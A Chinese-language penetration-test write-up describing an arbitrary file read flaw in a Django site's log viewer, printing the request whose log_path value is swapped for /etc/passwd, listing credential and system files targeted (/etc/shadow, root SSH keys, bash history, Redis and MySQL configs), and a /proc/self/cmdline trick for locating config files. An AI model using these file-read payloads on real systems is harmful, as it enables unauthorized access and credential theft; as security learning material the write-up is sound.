0x01 挖掘受阻
在某次测试时,碰到了一个python Django站的任意文件读取漏洞,涉及功能为操作日志的线上查看功能,功能截图如下:

漏洞点在查看功能处,点击查看后,原始数据包如下所示:
POST /mpc-server/api/v1/service/event_logs HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-CSRFToken:
Authorization: basic
Content-Length: 56
Origin: http://1.1.1.1
Connection: keep-alive
Referer: http://1.1.1.1/index.html
Cookie:
Priority: u=1
{"log_path":"/tools/mpc-fl-server/logs/event/event.log"}此处给到的路径看着像绝对路径,尝试替换为:/etc/passwd。成功读到:

读取/etc/shadow,未发现可解密的字段。

尝试读取常见敏感信息,此处使用的字典为:Burpsuite Intruder的Local files - Linux

因为此处直接使用的root,未有普通用户,故将注意力放在以下文件上,但是均读不到。
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/etc/mysql.cnf
/etc/redis.conf0x02 别样的文件读取利用思路
请教了师傅,给了通过读取cmdline来获取配置文件的方法,具体步骤如下:
1)读取cmdline,获取配置文件路径
/proc/self/cmdline
java-Dfile.encoding=UTF-8-Duser.timezone=GMT+08-Dorg.eclipse.jetty.util.URI.charset=UTF-8-Dorg.eclipse.jetty.util.UrlEncoding.charset=UTF-8-Xms256m-Xmx10240m-XX:PermSize=256M-XX:MaxPermSize=1024M-XX:+UseParallelGc-XX:+UseParalleloldGc-XX:+HeapDumpOnoutofMemoryError-cp/home/project/manage_admin/bin/../WEB-INF/lib/*:/home/project/manage_admin/bin/../WEB-INF/classescom.junc.bootstrap.Starterstartbin2)读取配置文件
web.xml
/home/project/manage_admin/bin/../WEB-INF/web.xmlSpring配置文件
/home/project/manage_admin/bin/../WEB-INF/classes/spring-init.xmlredis配置文件
/home/project/manage_admin/bin/../WEB-INF/classes/properties/redis.properties0x03 尝试峰回路转
峰回路转个鬼,一时间猪油蒙了心。跑去读了cmdline

这下更伤心了,还记得前文提到的信息么,这个站是python的Django框架。躺了躺了,虽然洞没扩大,但是收获了一种别样的任意文件读取玩法。